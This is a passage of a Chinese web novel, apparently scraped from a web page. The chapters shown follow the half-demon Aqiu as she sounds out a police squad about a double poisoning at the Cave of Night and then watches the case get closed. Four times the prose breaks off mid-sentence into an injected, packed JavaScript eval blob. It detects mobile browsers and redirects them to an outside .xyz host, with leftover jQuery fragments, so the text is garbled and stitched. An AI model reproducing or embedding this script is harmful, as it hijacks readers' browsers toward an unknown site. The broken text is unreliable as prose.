麻痹感还没消失么?不应该啊。阿邱归咎在午饭时生吞下去的黄油吐司头上,它可能是有点放凉了,现在或许还卡在胃里艰难地消化自己。 她迅速瞥一眼马尔科姆,不想被这个敏锐的副队长发现端倪,在他的注视下装模作样地演了一通“哎呀呀,这事儿闹的,我又被克洛诺斯他弟迷住啦!” 这一关过了,接下来就该应付正队长的盘问了。 “夜之窟也打听不到他的消息吗?唉,往好处想,在那种地方留下踪迹也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052088|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好事……这两天有不少外地游客过来,昨天太忙,有几个还没问过就放走了……”戳着那张想象出来的笑脸,克洛诺斯也陷入了懊恼。 “盯着夜之窟的异状”这项工作,在阿邱的理解里包含了寻找鸫的下落,甲方似乎也默认如此,于是心照不宣的合作达成了——当然她只是在虚假卖力罢了,杀驴刀计划万古长存! 别的先不提,从他这句话可以分析出,那个一人抬头一人抬脚的计划豆子警官至今没向上级告过密。那么现在……大概也许好像可能……没准儿应该……可以不用过度……提心吊胆了吧。 阿邱反思着,这一定是因为克洛诺斯不是狱警,豆子警官就是告密也不能换取积分,帮他在食堂里饱餐一顿——外面世界的规则都不是放在明面上的,但容错率还算高,至少不会让人时刻神经紧绷着,大多数时候都可以放心地模仿学习。 但她又实在对昨天被戳穿的谎言无法释怀。杀驴刀在豆子那边只算不尊重他偶像的小瑕疵,调查摩罗斯却是一着不慎就要被沉海的大罪,不知道豆子警官有没有把她那时的丑态汇报给上级呢?很难判断,上级有可能什么都不知道,也有可能知道了却选择缄口不言,当面打听纯属自杀,只有暂停时间、剖开眼前的几颗脑袋,才能看清她的把柄有没有广泛地被人握到手中…… 但但但是,追根溯源,豆子没通过飞笺器联系她,而是亲自跑到医院去蹲她……也挺奇怪的不是吗!是否存在这样一种可能:他是想避开领导,仅以个人立场向她提出警示? ……又或者他只是心血来潮想去喂鸽子,连混进去的麻雀、斑鸠也一视同仁地照顾到了。 考虑到文件冰山没有消融的迹象,豆子警官属于街溜子组织唯一靠谱的成员,也不像是撇下工作出去瞎溜达的性格,如果“个人行动”假设成立,完全不给自己留后手,他好像也十分笃定阿邱不会告密的样子? ……这不废话吗,告密对阿邱这个下位者中的下位者来讲才是真正的损失大于收益…… 真是越来越看不懂这个人了!到底图什么啊?难道是他必须在偶像面前收起狰狞的本来面目?可问题是,他的那番提醒——阿邱早上起床时终于反应过来,并且大概率没有理解错——远远还称不上狰狞,甚至你道如何?好意的占比都超过了恶意。 好难猜。怎么着都是瞎猜,因为她现在看不到豆子的眼睛,即便看到了也不敢跟他对视。对混沌未知的恐惧令她压力倍增——好在她还有个解压舒肝的双押三计划。 大概是她盯着豆子的背影发呆太久了,克洛诺斯提高了嗓音:“阿邱,我刚才问你话呢!这个拿下来之后你就会变弱吗?” 阿邱摸摸项圈:“变弱?啊……其实,我本来也不是很强。” 胡乱搪塞过去后,她才想起这是第一次见面时没说清的问题。原来话题躲闪术还有一个形似弹弓的配套设施,把话题子弹捆在橡皮筋上默默蓄势,等到恰当的时机,“咻”地发射回去。 ——总归都是为她的各种谎言收拾烂摊子,只有早收拾晚收拾的区别……对方只要再往深了想一步,纸就要包不住火了。阿邱心里直擂鼓,结巴着反问:“鸫、鸫的项圈又是什么作用?他是犯了什么错吗,你是救他的人,为什么还要给他戴上那种项圈? “作用是让他变弱吧。”克洛诺斯撑着太阳穴打了个哈欠,“跟你那个功能正好相反,是不是很巧?” 看他故作调笑的态度,阿邱反倒更愿意相信迦南小队长的合模线假说了。 顺势得出结论:鸫……真是一个组装出来的人? 43. 第三十五章 双押三计划(3) 组装的又怎样?说来不算稀奇事,阿邱愣了五秒钟就坦然接受了。 虽然有点不甘心,但阿邱知道童貉一直在研究这个。可是现在要怎么联系他呢?等洋流路过时扔漂流瓶?理由呢?担心他一个人过不好,再给他打点抚养费?顺带一提、真的是顺带一提,阿邱我最近有个来路不明的平面新欢,可否请你帮忙探究一下来路…… 不对不对,她都出狱了哎,已经有条件自己看书学习了! 动态平面鸫在通缉令上循环着笑开来、收起笑容的动作。克洛诺斯回头看一眼豆子,轻笑一声,问马尔科姆:“真有意思,你说阿邱小姐找他怎么比我们还要积极?” 随机抓人问话是什么坏习惯?马尔科姆果然露出一个“人都在这里你问我?”的表情。 阿邱吃糖的速度有所放缓:“哪里哪里,我才不积极……但是克洛诺斯队长,我怎么觉得你好像也不是很着急?” 克洛诺斯肩膀往下一垮:“那是因为随着时间的推移,我已经越来越不抱希望啦。” 阿邱喃喃道:“因为他……生还的希望很渺茫了?” “那倒不是!鸫这孩子能在今日月剧团这么恶劣的环境中生存下去,再加上我的指点,自保能力肯定是远超一般人的。”在有点悲伤的氛围中,克洛诺斯偏要拔高自己对别人的人生起到的作用,“只要不被那种倒腾白金币的组织暗害,或者自己去寻死,相信我,他肯定还活在这世上的某个角落,我这么说的意思是,他有可能是被自己的事情绊住了。” 什么事情六年的时间都解决不了?万一他真被暗害了呢?被暗害了、侥幸存活、自尊心受损,然后寻死,也不是没有这个可能啊。 那样的话,就让他以纸片的形式永远活在我心中吧。阿邱心如止水地想着。 “不说鸫了,来说说豆子吧。”克洛诺斯拈起一块曲奇,径自翻了篇,“豆子是大坏蛋!烤了这么好吃的点心,自己一口都不碰,非要端上来祸害我们这些代谢能力下降的老男人,等我们都长出了肚腩,他就是整个终止式身材最好的人了,阿邱,你说这个人是不是心机深沉?” “也有可能是——他家教严,从小没养成吃零食的习惯。”阿邱也不明白话题是怎么拐到这里的,只是想起豆子警官对塔尔塔洛斯童话式的防备心,“否则也不会年纪轻轻就和克洛诺斯队长这么优秀的人共事了……” 闲扯了几句,没有一个人得到想要的答案,奉承话在嘴里一遍遍地倒,阿邱渐渐失去了耐心——到底要怎样才能自然而然地提到凶杀案啊? “所以我建议你以后多多过来打扰豆子。”却不知这个因果关系是怎么来的,“虽然入职时间隔得比较远,但我们这边毕竟招新的渠道很特殊,好不容易来了个新人,你们两个完全可以说是同期嘛!” 莫名焦躁的阿邱在心里说,好呀好呀尽管来啊,只要你不怕“我们两个”互相搞职场霸凌的话。 “又或者说……”克洛诺斯眼珠转了转,“哎?反正你交了班也没事干,不如你每天下午都到指挥处来玩吧?茶水点心管够的我跟你说。” “不了不了,我就是来了也帮不上什么忙……”特别是,此处看起来需要帮忙的人只有豆子一个,而她知道那些机密文件不是机动队员能过问的。 克洛诺斯却会错了意,站起身来还要再劝:“别这么说嘛,终止式全体成员都欢迎你的到来,不光是我们两个老东西哦!你可能不知道,豆子嘴上犯浑,心里其实可在乎你了,一天到晚都在操心你的生计问题,半夜做梦都怕你一个想不开去偷镇上的井盖——” 阿邱也头昏脑涨地跟着站起来:“好好好劳他费心了今天先聊到这里吧下次我再也不敢了——” 这回不需要秘技·文件之耳光,马尔科姆扶了扶眼镜,随口用新话题举重若轻地制止了他们:“邱小姐,你最近都没有跑操了吗?” 春风化雨间,阿邱坐了回去:“是啊,哪有时间呢,报刊亭开门早,我也不想一身臭汗地去上班啊。” “这样啊,真可惜,要是你今天凌晨出来跑操了,说不定还能帮我们探到点什么——哦,我是说夜之窟的双尸案。” 来了! 阿邱在心里谢过副队长,立即拢圆了嘴巴道:“是啊,我也觉得怪可惜的,案发现场就在住处附近,我就这么一觉睡过去了!” 她重重叹着气,把脸别向一旁,装作自言自语的样子:“都怪苏西半夜爬窗回来扯着我聊天,硬把我聊困了,要是昨晚再多熬一会,说不定我就知道他这几天背着我们干什么去了……” 如她所愿,终止式剧院的三位登台演员——沙发上的工位前的、靠谱的不靠谱的——齐齐把锐利的目光投向了她。 “……各位长官,有什么问题吗?” 马尔科姆率先缓和气氛:“没什么,就是未经允许爬窗闯入少女的闺房挺不礼貌的,房间是他们租给你的对吧?要是造成了恶劣影响,你是可以报案追究他的。” 不愧是本质上的书记官,反应就是快,像豆子警官这类文武双瘸的社会新人,想要达到这种境界,可得轮回着磨练五百多年了。 阿邱连忙摇头:“不至于不至于,都是室友,我还是不要轻易得罪人了吧。” 马尔科姆放下茶杯:“听起来你们关系很不好?” “大半夜的拉着她聊天呢,关系能不好?”豆子适时地打岔。 ——阿邱发现了,无论上级知不知道他们间的那套告密循环,谎言当场被戳穿最直接的后果是,她带有引导性的每句话都会得到豆子的质疑。 很难理解出于什么目的,克洛诺斯回头看看豆子,见缝插针地踩了苏西一脚:“你别气,都怪那个人不绅士!” 约莫是见铺垫得差不多了,马尔科姆正色问道:“你说他半夜爬窗回来,具体是半夜几点?” “呃,要多具体呢?我躺在床上没注意时间,不过我记得那时候天刚蒙蒙亮?不不,还没亮,有人在外面挂阿瑞斯杯的旗帜,很吵,我的体感就是天亮了……” “明白了。那他是几点钟离开的?” “他离开时天色是真的有变亮,我不会记错,因为光线有点刺眼,我把袖子搭在眼睛上才睡着。” 根据装傻需适可而止的表演原则,阿邱现在应该表现出恍然大悟了。 “不会吧,你们是说苏西和凶杀案有关?”她把双眼睁得和嘴巴一样圆,“原来上头派给他的任务就是这个?” 这回接话的却是克洛诺斯:“没有,我倒觉得现在可以排除他了。根据你的证词,搬运工先生根本没时间去下毒,因为他刚好错开了那种药物起效的时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052089|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这是什么意思,对伤了自家队员的恶棍也能保持公正,还把法医检查报告级别的情报大大方方地讲给她听了?阿邱浑身一震,都快被人性的光辉闪瞎眼了。 双押三计划可以暂缓,被克洛诺斯指出这点,她克制不住地对真相产生了一丝好奇心。 “对了,我听那群嚼舌根的舞男说,其中有个死者昨天来找过你们?” 克洛诺斯点点头:“然后就被他的管家领走了。” “管家么?你是说老威廉?”阿邱回想着那篇报道,“他是个什么样的人啊?” “——是一个威丝塔芬人。” 豆子忽然抬高了调门。两位领导回头看向他,被他用警示的目光分别瞪了回去。 马尔科姆会意,给阿邱续了一杯茶来:“下午茶时间不谈工作哈。” 嘁,小气吧啦的样儿,谅他再磨炼五辈子都成不了气候。 也罢,反正一开始的目的达成了。偷偷抽出灵魂飞到半空中俯视着豆子警官,阿邱的躯壳抬起头,和长官们一番寒暄后,剥着最后一颗糖往外走。 这种软质的牛轧糖不会在初春融化,但存放过久也有些不易剥开,一不小心就会把糖纸扯得稀碎。影响美味倒不是阿邱担心的,她只怕吃相太难看惹人笑话,所以每一颗都慎之又慎地从角落拆起。 路过豆子的工位时,糖纸发出一个代表气压变化的喜人响动,她知道,现在可以从那个角落把整颗糖捏出来了—— 糖果却在离嘴巴只有几毫米时被人截走了。 是突然起身的豆子警官。趁两位领导没看向这边,他“刷”地伸长胳膊,一把抓住阿邱的手腕,手指从她手心的肉垫迅速往上攀登,精准找到糖纸的空心部位、捏下,迫使牛轧糖改换航道、飞向自己的脸。 然后仰头张口,稳稳接住,还故意咬在齿间向阿邱展示了一秒钟,再用舌头勾进嘴里。 整个过程,他的眼神都充满了挑衅。可阿邱看着他表演完这一套杂技,仍是没什么感觉。 连被吓到的反应都没有。她只觉得,多可悲的一个人啊,独占不了偶像、公理上必须视此为小瑕疵,只好去欺压较好对付的潜在竞争对手;吃干醋都吃到别人脸上去了,实在是已经到了病态的程度。 干醋这东西有什么好,专家建议自己躲起来偷偷吃。阿邱不是专家,生聊大王认证过的正义观也很朴素:粉丝惹了她,她就把矛头对准偶像。 “对了,克洛诺斯队长。”她转身道,“我想到一种可能性:你相信鸫还活着,也从没停止过找他,那你有没有想过,你之所以找不到他,是因为他不想被你找到?” 克洛诺斯眼睛一亮,装作他刚才没有等线人一起身就跟副队长交头接耳的样子,又要藏起文件夹,又要给阿邱鼓鼓掌,还要推马尔科姆一把,恨不得从胸口长出第三只手来:“你看看,我说什么来着,不止我一个人这么想吧!” 阿邱瞥一眼吃糖吃到腮帮子鼓起的豆子,微妙地挪到门边,进一步释放恶意:“我是这么推测的:经历了那些不好的事,鸫现在只想要安稳又看得到未来的生活,这也是他当初选择离开你的原因。至于他为什么不回来呢——嗯,加油吧克洛诺斯队长,等你在公众面前树立起靠谱……脚踏实地、令人信赖的形象,鸫就会飞回到你身边啦。” 44. 第三十六章 倒春寒(1) 大幕拉开、大幕正式拉开;编剧就位、编剧早已就位;场务跑来跑去、疏散无关人群;布景板抬起,双押三计划全体演员——库奇、牧笛和苏西——挨个登上舞台,分别站在了不同的追光灯下。 接下来就等着看好戏吧!对剧情的发展相当满意,编剧阿邱坐在牧笛的皮椅上转圈圈,心里隔着层毛玻璃,反刍着这一丝恶毒的痛快。 她的出发点尚有借此辨忠奸的成分在,但走到半路上重新预测,很大概率上,结局也只能是给故作神秘的三方势力添点乱罢了……那也很不错。定是魔族血脉的渗透压到了临界点,阿邱的脑子里仿佛涌入了一公升的毒液,迫不及待地想要看看最后会是谁倒大霉了。 放低期待,事态进展也还算顺利——为演员们量身定制的引导性台词简直就和教材一样好理解,证据是,阿邱下午一离开淡猫俱乐部,牧笛便被森林戍卫队带走问话了,直到天黑都没回来。 美中不足的是,骂克洛诺斯那段还不够狠……因为一想到邱珊徽章她就心软了。豆子警官也完全没被气到,甚至把那段阴阳怪气解读成了一种鞭策,偷眼看过去时,竟还在微微点头表示认可。 没什么大不了的,阿邱才不觉得愧疚,一点也不。克洛诺斯现在是个天真的热心肠,可谁又敢保证他将来不会看清现实,突然利欲熏心,变得面目可憎?相信人性的恒定还不如相信你家门口的铁树会开花,更何况,只有纯血的人类才有底气对同胞予以不假思索的信任,阿邱始终不会忘记自己的身份:连银杏都无法共情的、她这则孤例一死、自上而下所有写在姓名后面的阶元都会从图鉴上抹去的……就不能有个正式的学名吗?没有。好吧……“半人半魔”。 可……万一中的万一,终止式真的在这次事件中展示出了阿邱所期待的精神面貌——比如新手村的引导者呢?那她这个预备救世主的杀驴刀计划…… 不是不执行了,只是需要换一种思路;春有倒春寒,秋有秋老虎,季节都可以反悔,凭什么她不可以? 接下来的剧情会怎样展开呢?真是令人期待啊,双尸案诶,从名字上看就够蹊跷的了,闹大一点才对得起两位死者不是吗…… 然而Chaos永远不受集体的欢迎,值得扩写的剧情还没展开就被迫收束了:当天晚上,夜之窟双尸案结案了。 ———— ———— 晚报上临时追加了这样一则消息: 在本起凶杀案发生的二十四小时之内,森林戍卫队的调查已取得了重大突破,请广大镇民放心。 凶手已确认为脱衣舞男佐伊·约翰逊,动机系韵律长期失调致激情投毒杀人,加上非法从事风俗业期间走私毒药,数罪并罚,预计会判处其终身监禁、没收其全部财产充作受害者家属爱丽丝·蜜丝缇的赔偿金。目前犯人已押往星罗郡,等候初级法院审判。 调查进展通报完毕,余下的全是冗长的公民人身安全警示,一点信息量都没有——不,对阿邱来讲还有一条有价值的情报:这则快讯只提到了库奇和牧笛的名字。 老库奇被怀疑梦游时撞见投毒现场,他本人也大呼小叫地表示:“怪不得我早上起来浑身疼,还以为是让现在的年轻人气的!”他的主治医生会进行后续情况追踪,从字里行间看得出,满腹狐疑地。 牧笛这边么,晚报没刊出他说了什么,他是被戍卫队带走的,可视为“重大突破”的一环。 苏西的名字压根没出现。这并不奇怪,演员培训有先后,留给终止式做出反应的时间就那么一点,想起那扇脆得像块好运饼的薄铁门,阿邱早该料到如此。 有意思的是,在旧矿山镇,这个案子是当前最引人瞩目的新闻了。从阿邱溜达了两圈观察到的氛围来看,这一整天,整个镇北都是人心惶惶的,家长们都牢牢看住了自家小孩,不敢让他们离开身边半步,和牧笛宽慰她的“稀松平常”完全两码事。 然而,像案件调查结果这样广受期待的报道,在追加刊印之后,却也只是排在了晚报的第二版。 ——头版是“吃喝玩乐在旧矿山镇·阿瑞斯杯特辑”,大篇幅地介绍了镇上的风土人情,留下一点页边空间给交了钱的店家打广告。 更有意思的是,不同于早晨送来的《黑曜石日报》和《今日林海》,这份晚报仅在旧矿山镇内部发行流通,最多最多只能往南能卖到星罗郡,被报纸收藏家放在“地方/非正统/不重要”的那一栏。 这似乎可以说明,在镇级宣传单位看来,案件本身不是大事,安抚民众才是,哪怕犯人只坐牢不杀头,也请相信星罗郡的监狱足够坚固;又或者,像阿邱这样包藏祸心的人还能从中读出一层暗示:唉,目前这个结论的破绽确实还很大,事实上案件还有待调查——本报的意思是,向上汇报时的遣词造句还有待调查。 只有老库奇是无辜被牵连进去的……他的牺牲证明了一件事:淡猫俱乐部,确实不简单啊。 得出这个结论后,阿邱发出强笑,以为这样就能表示她没有在为“这什么情况怎么和侦探小说写得不一样啊”而烦恼了,扔掉报纸,往墙上一靠,接着得出结论:是的,她这个阿邱也并不简单! 这是其一。其二,当前的结果还不足以证明克洛诺斯人好、追求真相、沉得住气。没能赶上这趟热度,时间不够还是次要的,最主要的还是终止式身份太敏感,属于不被此地看好的“镇外势力”。 第三……第三嘛……加油,使使劲总能凑出来的……对,与此同时,森林戍卫队和淡猫俱乐部都很在乎她的意见。 这篇脑内实验报告写到尾声,可以勉强总结出一条真理——还没到那个程度,先称之为议题吧——关乎“团结一心”的议题。 顺着这个议题展开,新的问题出现了:阿瑞斯杯到底在选拔什么?又在筛掉什么? 那些留下姓名的选手——从孤例的、“你算老几”的视角上看——制造了大量温和版的凶杀案、打败了数不胜数的同胞,这就是阿瑞斯杯的胜利者们,于是阿邱对这项比赛始终喜欢不起来。可是除她之外人人都为之狂热,她也只好干看着,做点别的事情转移注意力。 但这回不一样,两位被害者实力不明,没有明面上的道德瑕疵,死得也够冤,大家都真心实意地想为他们讨回公道,所以阿邱就鬼鬼祟祟、但名正言顺地拥有了操作的空间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052090|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是的,她不能不行动,即便身体上的螺丝都在高速运转时飞出来了,她也得碎成一块一块地付出行动:从小事做起,比如先以个人身份介入凶杀案……这样的小事,说不定哪天就有机会向众人提出她对阿瑞斯杯的意见了: 建立人与人的斗兽场,说是为了培养抵御魔族的武装力量,可如果魔族的强大之处不在武力上,岂不是白费功夫?万一魔族的数学都很好,已经比代达罗斯学院更早开发出了可控制思想的芯片、并且永远不会用在自己人身上呢?想一想吧,全境都在攀比武力的好处在哪里;为内斗设立一个光荣名目的作用在哪里;那些铸币机吸引来的狂热粉丝每天都互相打得头破血流,正确引导他们的力量又在哪里? ——只有在麻痹感幻觉般地漫过全身时,阿邱才会思考这些和预科课程所传达的精神背道而驰的、大逆不道的事。如果被玫瑰学派的中灰色袍子们看穿心思,她的黑卡恐怕就要被夺走、被咬在齿间、用舌头勾到海里去了;而后酝酿成政变的导火索,战火一直烧到年底,逼得玫瑰学派的神秘首领出关、联合阿瓦隆神学院大肆制造舆论,一行人气势汹汹杀向希孚里亚市政厅,逼宫祭司獬,上锅蒸了吃肉,然后推举一位袍子颜色最灰的上位—— 那克洛诺斯的终止式也太倒霉了! 想明白了中庸也不是恒定的,阿邱拍拍脑门,用人半脑建议自己这段时间还是谨言慎行些吧。 ———— ———— “西海岸水兵营发来的消息跟冰川戍卫队的说法确实有出入,但仅仅是时间上的。” 说话间,豆子正在把新到的信函整整齐齐扎到一块巨大的软木板上。 并非出于对情报本身的感受,克洛诺斯手舞足蹈地说:“哎哎,有那意思了!不要都挂成一排嘛,要不我们也去买点鱼线染成红的,再用各种三角形把这些图钉连起来?” 豆子咬牙道:“你真当这儿是侦探事务所?” “差不多,我们是警官嘛。” “做你的春秋大梦!” 软木板跟指挥所的装潢格格不入,左下角碎了一小块,颜色还不匀,有种废物利用的气质,挂在略显空旷的墙壁上,在克洛诺斯看来,却也能给被期待的“暴力机构”平添一份烟火气。 说来心酸,这块软木板还是邱小姐一个人吭哧吭哧扛过来的。跟掐着表似的,终止式今天的下午茶刚收摊,她就如一道蓝色闪电般劈了进来,满口说着“有兴趣可以重启双尸案的调查就拿这个当线索板吧加油加油大家都很期待你们的表现”,“哎呀拿着吧这是我个人提供的安慰奖说不定比你们的门板还要结实哦”,没等豆子从后厨端回黑咖啡布朗尼,她就把软木板往茶几上一撂,一溜烟跑没影了。 克洛诺斯慎重考虑了她的提议——虽然在昨晚的会议上明确表示过此事没有他们插手的余地,收到安慰奖后却又大受鼓舞,像是顿悟了什么似的,摩拳擦掌地要为了这块破烂给她一个交代。 “不如我们叫阿邱来帮忙吧?她就住在淡猫俱乐部,还认识森林戍卫队的人,跟我们走得也近,让她在这当中长袖善舞一番,说不定还真能帮我们抢在前头破案呢!” 45. 第三十六章 倒春寒(2) 说完自己都觉得好笑,回头两拳把挂木板的钉子锤进墙里,不再多言。 到了睡前读信时间,他又有补充意见了,简直像在宣告“接下来我准备梦到这段”:“其实可以假装先答应阿邱,反正我本来也只是想给她找点事干。你知道吗,无心插柳柳成荫,正好叫她顺道打听了戍卫队那边对西海岸的异状是什么看法——不带目的地打探才容易成功,上回她透露淡猫那群人是暗杀组织也是一样的道理。” 豆子发出冷笑,睡帽上的绒毛球跟着颤动:“不带目的?都刻意成那样了,我还以为只有瞎子才看不出来。” 他没想那么远,是在说昨天邱小姐提起苏西的事。听取他的建议,邱小姐把披风的扣子和浑身的口袋一起缝好了,虽然口袋数量回归了不被人才库除名的水平,但她仍没学会把不该展示的东西藏在没人能看见的地方。 明明克洛诺斯是第一个提出心眼子假说的,闻言却迷茫道:“你在说什么?” ……不行,跟他较真只会气伤了身子。豆子背过身去,就当是在劝诫软木板:“你兴奋也没用,邱小姐现在的状态很不对劲,拖她下水比放着不管危害还大。” 论据之一,在巧克力曲奇的下午,抢走她最后一颗糖都不能引起她的波动,怎么蓝着来,怎么蓝着走;到了布朗尼的下午也还不算恢复正常,她可能以为速度够快就不会被发现,殊不知闪电的蓝总会伴着雷声在天幕上残留一小会。豆子有种感觉,以她现在的状态,能把熟悉的工作处理好已经是谢天谢地了,再往上加码,即便是一根稻草也能把她压垮,尸体碎成一块一块,零件滚得满地都是。 克洛诺斯斩钉截铁地反驳道:“哪里不对劲?是你的偏见太重了。” 他素来只相信自己,擅自做完了决定就开始煞有介事地分析起来:“还有我觉得蜜丝缇这个姓氏也有点说法,威丝塔芬的外海——迷雾之海,在非正式场合也读作‘蜜丝缇海’……” “你还真想重启调查?” 克洛诺斯快活地打个响指:“凡是跟‘抢滩登陆’有关的消息一个也不放过,这才是我们的行动纲领!” 哎哟是吗他不说豆子还以为是成天在外面瞎逛呢。 “再说了,向她开放岗位确实另有目的,但终止式不养闲人,阿邱作为编外的线人都能有这个干劲,她的提议咱们也得引起重视呀!” “不是信使吗?” “……噗,信使,好吧好吧,信使,数你记性好。” 那么“偏见”和“重视”究竟哪一方更占理?在克洛诺斯日益频繁的怪笑声中,让我们把时间倒回前一晚——由于没有足够的口袋偷偷吞掉剩下的,巧克力曲奇只好静静地凉透了。 总算凑出了三条实验结论,阿邱继续坐在皮椅上转圈圈——在淡猫俱乐部,能独占这个游乐设施的机会实在不多。 就这样转啊转的,她转出来一个新计划:应该以救世主的身份颁给终止式安慰奖!不对不对,“安慰奖”只是名目,事实上它是驴头前的胡萝卜,给点好处才能让驴心甘情愿为她拉磨,不能老是她白吃白拿的不是吗——这个决定本身不难做出,难的是如何避开老库奇的视线、顺走报刊亭那块放着也是占地方的废弃宣传板…… 细致地推演半晌,规划好了整套行动方案,她才用残存的脑力思考起了生活琐事。 第一,润肤霜见底了,得买新的。二手市场不一定碰得到,要不以后别用了吧,还不如相信瓦德密尔的气候;退一万步讲,脸皮龟裂也没什么要紧,她也不是靠饱满水润的脸皮吃饭的呀。 第二,自打她出狱,截至目前,阿邱一共结识了两个新朋友,一是街口的龙柏,因为它没有长脚不会自己跑;二是主观能动性,因为它召之即来挥之即去——虽然有点挥之不去,但它真的召之即来。 第三,她需要很多很多的钱。要不充分发挥主观能动性,再去鞋匠那边碰碰运气?社会包容苏西穿女装、牧笛称大姐,一定也能包容女阿邱传承男手艺;包容不了也没关系,雇佣送奶工的合同都是即时生效的,狠下心来对那个经理做点手脚,他们就再也摆脱不掉她了。 第四,她看着手上只属于她的迷你平面鸫,竟比看到通缉令原件还要高兴,是可以“感觉”到的高兴,不是表演出来的。约莫是出自可控的、私人订制的安心感吧,也可以说明她对鸫的感觉并非全是“叶公好龙”——对处在情绪低潮中的她来说,成为救世主才是。 可以了,这就够了。双押三计划暂时搁置,在没有制造出更大的乱子之前,从明天开始……从现在开始,得让人类的理性打败魔族毫无缘由的进攻欲了。 就这么举着情商修炼手册看个不停,阿邱没注意到缝好了扣子、但扣子会因为整体重量崩开的披肩掉在了地上。 归来的牧笛神不知鬼不觉地出现在她身后,捡起披风,或许是出于愧疚,归还时把声音放得很低。 此外,他还带回了一些小道消息……嗯?来自森林戍卫队,那应该是大道消息才对啊。 脱离某种生理限制,黑壮汉面色惨白,硬把她拖去了管道会议室。耷拉着眼皮的男招待正准备打烊,看他们上来,嘟嘟囔囔地又把准备间的卷帘窗重新拉了起来。 “我怕再不说就来不及了!”牧笛慌张到忘了自称“人家”,“晚报你看了?别信!我在迦南队长那里听到的版本是:案件的真实起因是经济纠纷。” 阿邱也紧张地吸溜一口燕麦奶:“居然不是情杀?” “情杀?谁告诉你的?甭管是谁,反正不可能是报道里写的‘激情投毒’,我急着回来就是为了跟你通个气儿:迦南小队长说,异端已经从西部港口上岸啦!” 哦? “——说是跟境内的什么势力签订了秘密协议,这回上岸是为了走私珍稀药材,包括克里姆森花,还有我从没听过的……什么什么幻觉种子。” 看牧笛那副铆足了劲儿要用爆炸性新闻震撼她的样子,阿邱体贴地憋回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052091|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去一个哈欠:“什么势力呀?莫非死掉的安德烈也在其中?” “不,出乎我们所有人的意料,他就是个纯粹的受害者!”是的,在他们夜之窟,有了家庭还狎伎的老东西可称得上一个“纯粹”,“他只是借大赛的热度来我们镇上布局药材生意,谁知无意间破坏了那个势力的垄断,不巧撞上了一帮黑心亡命徒,这才导致他被做掉了!” “这样啊——真可怕。那美少年塔桥的死因又是?” “这还用问?晚上过来叫主人回家,撞破了投毒现场,让他们顺手灭口了呗!” 是吗,克洛诺斯可是说过致死毒药的发作是需要时间的呢,“投毒现场”又是什么说法?听起来比“激情投毒”还要荒唐。 万事怕比较。不谈人性,仅从中期结算成果来看,三方势力中,只有克洛诺斯有能力顶着偏见听取她的意见,因而,只有走进终止式的大门,阿邱才能偶尔听到一两句真心话。 好可怕啊,她是真的出大问题了,竟对大众眼中的反派产生了这样的印象;要不是娜塔莎经常来梦里作客,她对克洛诺斯的恶感都快要归零了。 “也有那种即时生效、喝下去就抢救不回来的毒药嘛!”牧笛瞟瞟阿邱,信誓旦旦地给他的话打补丁,“你在大学院里没学过毒理课吗?” “我还没学到那儿就出来了嘛。”因为魔族天生的坏思想需要很长时间才能掰正,不怪阿瓦隆神学院在三年半的时间里吝啬于教她实用知识。 “那……存不存在尸检不出来的毒药呢?”她兀自思索起来,“死因确实是中毒没错,但如果发作时间跟推断结果不一致,很有可能是死者先后被下了两种不同的毒……还有那个管家,至今没有一篇报道提到他的现状……哎我问你,苏西和影去哪了?” 牧笛被阿邱突然的转折吓了一大跳:“你在说什么?这事可跟我们没关系!” “没说跟你们有关,我只是提醒你最好早点找到他们,在这个节骨眼上玩失踪,真不怕引起怀疑?” “哦哦,这我当然知道……” 他知道个屁。这都结案了,节骨眼早没了。 镇民们对当前的结果当然也不满意,也不服气,也和阿邱一样保持着高度警惕,能拿着放大镜从通报的每个字中找出破绽,却没胆子对森林戍卫队提出质疑,否则不就是违抗女神的意志了吗?他们的不服气,都通过街头巷尾的嚼舌根、尤其是编排“应涉案人员”爱丽丝·蜜丝缇的谣言释放出来了。 